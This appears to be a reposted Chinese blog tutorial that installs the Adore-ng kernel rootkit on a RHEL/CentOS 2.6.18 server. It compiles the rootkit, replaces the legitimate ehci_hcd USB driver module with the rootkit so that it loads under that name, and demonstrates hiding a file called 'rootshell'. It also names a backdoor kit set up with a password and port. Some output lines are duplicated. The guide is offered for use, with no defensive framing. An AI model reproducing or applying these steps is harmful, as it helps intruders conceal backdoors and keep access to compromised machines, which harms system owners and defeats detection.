1、下载资源
另外一个工具包,更简单
ddrk.tgz 直接运行setup PASS PORT就可以了
2、安装内核开发包
yum -y install kernel-devel
3、对内核软连接
ln -s /usr/src/kernels/2.6.18-194.el5-x86_64/ /usr/src/linux
4、编译Adore-nb
make
5、查找空闲模块
[root@bitest adore-ng-0.56-wztfix]# lsmod | sort -r -k 3 | tail -5
asus_acpi 50917 0
amd64_edac_mod 58609 0
adore_ng_2.6 60548 0
acpi_memhotplug 40261 0
ac 38729 0
asus_acpi 50917 0
amd64_edac_mod 58609 0
adore_ng_2.6 60548 0
acpi_memhotplug 40261 0
ac 38729 0
6、查看模块位置
[root@bitest adore-ng-0.56-wztfix]# modprobe -l ehci_hcd
/lib/modules/2.6.18-194.el5/kernel/drivers/usb/host/ehci-hcd.ko
/lib/modules/2.6.18-194.el5/kernel/drivers/usb/host/ehci-hcd.ko
7、卸载模块
modprobe -r ehci_hcd
7、替换模块
cp ./adore-ng-2.6.ko /lib/modules/2.6.18-194.el5/kernel/drivers/usb/host/ehci-hcd.ko
8、重新加载模块
modprobe ehci_hcd
9、测试
[root@bitest adore-ng-0.56-wztfix]# ll /tmp/test/
总计 0
-rw-r--r-- 1 root root 0 08-11 09:54 rootshell
[root@bitest adore-ng-0.56-wztfix]# ./ava h /tmp/test/rootshell
Checking for adore 0.12 or higher ...
Adore 1.56 installed. Good luck.
File '/tmp/test/rootshell' is now hidden.
[root@bitest adore-ng-0.56-wztfix]# ll /tmp/test/
总计 0
总计 0
-rw-r--r-- 1 root root 0 08-11 09:54 rootshell
[root@bitest adore-ng-0.56-wztfix]# ./ava h /tmp/test/rootshell
Checking for adore 0.12 or higher ...
Adore 1.56 installed. Good luck.
File '/tmp/test/rootshell' is now hidden.
[root@bitest adore-ng-0.56-wztfix]# ll /tmp/test/
总计 0
来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/23721637/viewspace-1059150/,如需转载,请注明出处,否则将追究法律责任。
转载于:http://blog.itpub.net/23721637/viewspace-1059150/